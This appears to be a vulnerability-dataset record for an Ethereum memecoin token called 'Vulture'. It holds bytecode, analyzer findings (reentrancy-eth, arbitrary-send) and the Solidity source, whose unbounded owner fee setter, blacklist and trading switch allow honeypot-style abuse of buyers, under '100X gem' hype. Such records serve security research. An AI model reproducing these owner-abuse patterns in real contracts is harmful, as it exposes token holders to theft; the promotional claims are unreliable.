ce8000000610983565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610702573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107269190611465565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610773573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107979190611465565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108089190611465565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061083881610527565b60008061084d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108da9190611482565b5050601080546b033b2e3c9fd0803ce800000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561095b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097f91906114b0565b5050565b6001600160a01b0383166109e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610456565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610456565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610456565b6001600160a01b03831660009081526006602052604090205460ff1615610b2f57600080fd5b6001600160a01b0383163014610bc857600a54600c55600b54600d556000610b5630610527565b601054909150600160a81b900460ff16158015610b8157506010546001600160a01b03858116911614155b8015610b965750601054600160b01b900460ff165b15610bc6578015610baa57610baa81610cf1565b4767016345785d8a0000811115610bc457610bc447610c33565b505b505b6000546001600160a01b0384811691161415610be9576000600d819055600c555b610bf4838383610e6b565b505050565b60008184841115610c1d5760405162461bcd60e51b815260040161045691906112d8565b506000610c2a84866114e3565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561097f573d6000803e3d6000fd5b6000600854821115610cd45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610456565b6000610cde610e76565b9050610cea8382610e99565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3957610d396114fa565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db69190611465565b81600181518110610dc957610dc96114fa565b6001600160a01b039283166020918202929092010152600f54610def9130911684610983565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e28908590600090869030904290600401611510565b600060405180830381600087803b158015610e4257600080fd5b505af1158015610e56573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610bf4838383610edb565b6000806000610e83610fd2565b9092509050610e928282610e99565b9250505090565b6000610cea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061101a565b600080600080600080610eed87611048565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f1f90876110a5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f4e90866110e7565b6001600160a01b038916600090815260026020526040902055610f7081611146565b610f7a8483611190565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fbf91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000610ff18282610e99565b821015611011575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361103b5760405162461bcd60e51b815260040161045691906112d8565b506000610c2a8486611581565b60008060008060008060008060006110658a600c54600d546111b4565b9250925092506000611075610e76565b905060008060006110888e878787611209565b919e509c509a509598509396509194505050505091939550919395565b6000610cea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bf9565b6000806110f483856115a3565b905083811015610cea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610456565b6000611150610e76565b9050600061115e8383611259565b3060009081526002602052604090205490915061117b90826110e7565b30600090815260026020526040902055505050565b60085461119d90836110a5565b6008556009546111ad90826110e7565b6009555050565b60008080806111ce60646111c88989611259565b90610e99565b905060006111e160646111c88a89611259565b905060006111f9826111f38b866110a5565b906110a5565b9992985090965090945050505050565b60008080806112188886611259565b905060006112268887611259565b905060006112348888611259565b90506000611246826111f386866110a5565b939b939a50919850919650505050505050565b600082611268575060006103bd565b600061127483856115bb565b9050826112818583611581565b14610cea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610456565b600060208083528351808285015260005b81811015611305578581018301518582016040015282016112e9565b81811115611317576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052457600080fd5b60006020828403121561135457600080fd5b8135610cea8161132d565b6000806040838503121561137257600080fd5b823561137d8161132d565b946020939093013593505050565b6000806000606084860312156113a057600080fd5b83356113ab8161132d565b925060208401356113bb8161132d565b929592945050506040919091013590565b801515811461052457600080fd5b6000602082840312156113ec57600080fd5b8135610cea816113cc565b6000806040838503121561140a57600080fd5b82356114158161132d565b915060208301356114258161132d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561147757600080fd5b8151610cea8161132d565b60008060006060848603121561149757600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114c257600080fd5b8151610cea816113cc565b634e487b7160e01b600052601160045260246000fd5b6000828210156114f5576114f56114cd565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115605784516001600160a01b03168352938301939183019160010161153b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261159e57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115b6576115b66114cd565b500190565b60008160001904831182151516156115d5576115d56114cd565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033ccc8eb99607020250edf184b423acb8543b87826a3dae36f37d166b60d795464736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,659 |
0x54bdb70e2e5278351376ae1de7c781afc8edf9b7
|
/**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/**
$Vulture
It's bird hunting season
All the other bird coins are $hit
We're coming for them all
100X bird season gem
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Vulture is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "VULTURE";//////////////////////////////////
string private constant _symbol = "VULTURE";////////////////////////////////
uint8 private constant _decimals = 9;///////////////////////////////////////
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xF327f01a1A4122a283c961884a2813942fC82907);
address payable private _marketingAddress = payable(0xF327f01a1A4122a283c961884a2813942fC82907);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192c565b6105c8565b005b34801561020a57600080fd5b50604080518082018252600781526656554c5455524560c81b6020820152905161023491906119f1565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a46565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50678ac7230489e800005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a72565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060155461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611ab3565b6106e7565b34801561036857600080fd5b506101fc610377366004611ae0565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611ab3565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611afb565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611ab3565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028d565b34801561045357600080fd5b506101fc610462366004611ae0565b61088a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611afb565b6108d2565b3480156104a957600080fd5b506101fc6104b8366004611b14565b610901565b3480156104c957600080fd5b5061025d6104d8366004611a46565b61093f565b3480156104e957600080fd5b5061025d6104f8366004611ab3565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc61094c565b34801561052e57600080fd5b506101fc61053d366004611b46565b6109a0565b34801561054e57600080fd5b506102bc61055d366004611bca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611afb565b610a41565b3480156105b457600080fd5b506101fc6105c3366004611ab3565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c03565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611c38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611c64565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c2816111f4565b50565b6001600160a01b0381166000908152600260205260408120546106789061122e565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611c03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611c03565b601655565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016105f290611c03565b601855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f290611c03565b600a93909355600891909155600b55600955565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b6000610995306107c5565b90506107c2816112b2565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c03565b60005b82811015610a3b5781600560008686858181106109ec576109ec611c38565b9050602002016020810190610a019190611ab3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611c64565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c03565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01b03831660009081526010602052604090205460ff16158015610eff57506001600160a01b03821660009081526010602052604090205460ff16155b610f575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f2565b6015546001600160a01b03838116911614610fdc5760175481610f79846107c5565b610f839190611c7f565b10610fdc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f2565b6000610fe7306107c5565b6018546016549192508210159082106110005760165491505b8080156110175750601554600160a81b900460ff16155b801561103157506015546001600160a01b03868116911614155b80156110465750601554600160b01b900460ff165b801561106b57506001600160a01b03851660009081526005602052604090205460ff16155b801561109057506001600160a01b03841660009081526005602052604090205460ff16155b156110b05761109e826112b2565b4780156110ae576110ae476111f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f557506001600160a01b03831660009081526005602052604090205460ff165b8061112757506015546001600160a01b0385811691161480159061112757506015546001600160a01b03848116911614155b15611134575060006111ae565b6015546001600160a01b03858116911614801561115f57506014546001600160a01b03848116911614155b1561117157600a54600c55600b54600d555b6015546001600160a01b03848116911614801561119c57506014546001600160a01b03858116911614155b156111ae57600854600c55600954600d555b610a3b8484848461143b565b600081848411156111de5760405162461bcd60e51b81526004016105f291906119f1565b5060006111eb8486611c97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610663573d6000803e3d6000fd5b60006006548211156112955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f2565b600061129f611469565b90506112ab838261148c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fa576112fa611c38565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190611cae565b8160018151811061139957611399611c38565b6001600160a01b0392831660209182029290920101526014546113bf9130911684610b5a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f8908590600090869030904290600401611ccb565b600060405180830381600087803b15801561141257600080fd5b505af1158015611426573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611448576114486114ce565b6114538484846114fc565b80610a3b57610a3b600e54600c55600f54600d55565b60008060006114766115f3565b9092509050611485828261148c565b9250505090565b60006112ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b600c541580156114de5750600d54155b156114e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150e87611661565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154090876116be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156f9086611700565b6001600160a01b0389166000908152600260205260409020556115918161175f565b61159b84836117a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e091815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061160e828261148c565b82101